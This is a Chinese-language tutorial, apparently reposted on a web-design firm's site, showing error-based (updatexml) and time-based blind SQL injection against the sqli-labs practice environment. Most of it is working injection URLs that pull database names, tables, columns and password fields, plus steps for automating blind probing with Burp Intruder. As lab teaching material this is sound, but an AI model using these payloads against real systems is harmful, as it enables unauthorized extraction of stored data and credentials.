sql注入漏洞报错注入和盲注是怎么样的
今天就跟大家聊聊有关 sql注入漏洞报错注入和盲注是怎么样的,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。
成都创新互联公司专注于企业全网整合营销推广、网站重做改版、永善网站定制设计、自适应品牌网站建设、H5建站、电子商务商城网站建设、集团公司官网建设、成都外贸网站制作、高端网站制作、响应式网页设计等建站业务,价格优惠性价比高,为永善等各大城市提供网站开发制作服务。
环境:sqli的第一关用的szx.php
一、报错注入
1、获取数据库名称,通过修改limit 后面的值获取不同的数据库名称
http://192.168.1.129/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +
2、获取数据库中的表,指定数据库名称,通过修改limit 后面的值获取不同的表名
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='jay' limit 2,1),1) -- +
3、获取表字段,指定表名并转为十六进制形式,通过修改limit 后面的值获取不同的表字段
http://192.168.1.129/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x75736572 limit 1,1),1) -- +
4、获取字段内容,指定数据库字段和表名称,通过修改limit 后面的值获取不同的字段内容
http://192.168.1.129/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, pass,0x7e) from jay.user limit 1,1),1) -- +
二、盲注
1、获取数据库长度,如果数据长度大于等于2等待5秒,如果小于2不做任何操作,修改该数值判断数据库长度
http://192.168.1.129/php/szx.php?id=1 and (select (if(length(database())>2,sleep(5),null)))#
2、获取数据库名称
如果数据名称左边第一个是'j',多停留1面,如果不是多停留5秒,修改该字符判断数据库名称
http://192.168.1.129/php/szx.php?id=1 and If(left(database(),1)='j',1,sleep(5))
如果数据名称左边第一个是106,ascii码是'j',多停留1面,如果不是多停留5秒,修改该字符判断数据库名称
http://192.168.1.129/php/szx.php?id=1 and If(ascii(substr(database(),1,1))=106,sleep(1),sleep(5))
三、Burpsuit探测(盲注)
1、抓包发送到Intruder模块,并设置好变量
2、设置payload,ASCII中a-z是97-122,设置步长为1
3、start attack,只有106的时间是2000,其他时间都是5000多,说明第一个位数字的ASCII码是106,依次类推获取其他位置的信息
看完上述内容,你们对 sql注入漏洞报错注入和盲注是怎么样的有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注创新互联行业资讯频道,感谢大家的支持。
分享名称:sql注入漏洞报错注入和盲注是怎么样的
本文网址:http://scyanting.com/article/ihcees.html